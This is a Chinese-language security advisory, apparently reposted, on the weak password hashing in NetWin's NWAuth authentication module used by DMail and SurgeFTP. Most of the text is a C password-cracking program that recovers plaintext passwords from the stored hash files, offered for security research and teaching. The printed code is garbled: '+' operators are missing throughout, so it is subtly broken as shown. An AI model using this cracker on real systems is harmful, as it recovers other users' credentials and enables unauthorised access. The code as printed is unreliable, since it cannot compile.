Netwin NWAuth 脆弱密码加密漏洞

发布日期：2001-07-20
更新日期：2001-07-23

受影响系统：

NetWin DMail 2.8i
NetWin DMail 2.8h
NetWin DMail 2.8g
NetWin DMail 2.8f
NetWin DMail 2.8e
NetWin DMail 2.7r
NetWin DMail 2.7q
NetWin DMail 2.7
NetWin DMail 2.5d
NetWin Surge FTP 2.0b
NetWin Surge FTP 2.0a
Netwin SurgeFTP 1.0b

描述：

---

BUGTRAQ ID: 3075
CVE(CAN) ID: CAN-2001-1354

NWAuth是Netwin的外部认证模块，被好几个Netwin的产品所采用。

NWAuth使用了一个简单的单向HASH函数对密码进行加密，因此攻击者很容易对这些密码
进行解密。

<*来源：ByteRage （byterage@yahoo.com）*>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

ByteRage （byterage@yahoo.com）提供了如下测试代码：

/********************************************************************
* nwauthcrack.c - NetWin Authentication Module password cracker *
* the SurgeFTP encrypted passwords can be found in the admin.dat & *
* nwauth.clg files in the nwauth.exe directory *
* by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
********************************************************************/

#include <string.h>
#include <stdio.h>

FILE *fh;
/* the following table indices refer to the characters our
generated password may consist of (true/false), since
we don't want to go into too much trouble when typing
everything in :) */
const char okaychars[256] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
};

/* DECRYPTION ALGORITHMS */
int enumpwds(unsigned char encrypted[]) {
int heavycrypt0;
unsigned int num=0, i, x;
unsigned char j[256], decrypted[256];
for(i=0; i<256;i ) { j[i] = 0; }
brute:
heavycrypt0 = (unsigned char)encrypted[1]*255 (unsigned char)encrypted[0];
for(i=0; i 2 < strlen(encrypted); i ) {
for(x=j[i]; x < 256; x ) {
if ((x * (heavycrypt0 1) % 40 == (encrypted[i 2]-0x41)) & okaychars[x]) {
decrypted[i] = x;
break;
}
}
if (x == 256) {
next:
if (i == 0) return num;
if (j[i-1] < 256) { j[i-1] = decrypted[i-1] 1; x = i; } else { i--; goto
next; }
for (i=x; i < 256; i ) { j[i] = 0; }
goto brute;
}
heavycrypt0 = x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
}
decrypted[i] = '\x00';
num ;
printf("%s\n", decrypted);
if (j[i-1] < 256) { j[i-1] = decrypted[i-1] 1; x = i; } else { i--; goto
next; }
for (i=x; i < 256; i ) { j[i] = 0; }
goto brute;
}
/* DECRYPTION ALGORITHMS END */

void main(int argc, char ** argv) {
char buf[256]; int k, l;

printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");

if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
printf("%s ->\n",argv[1]);

printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
}



建议：

---

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://netwinsite.com/

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有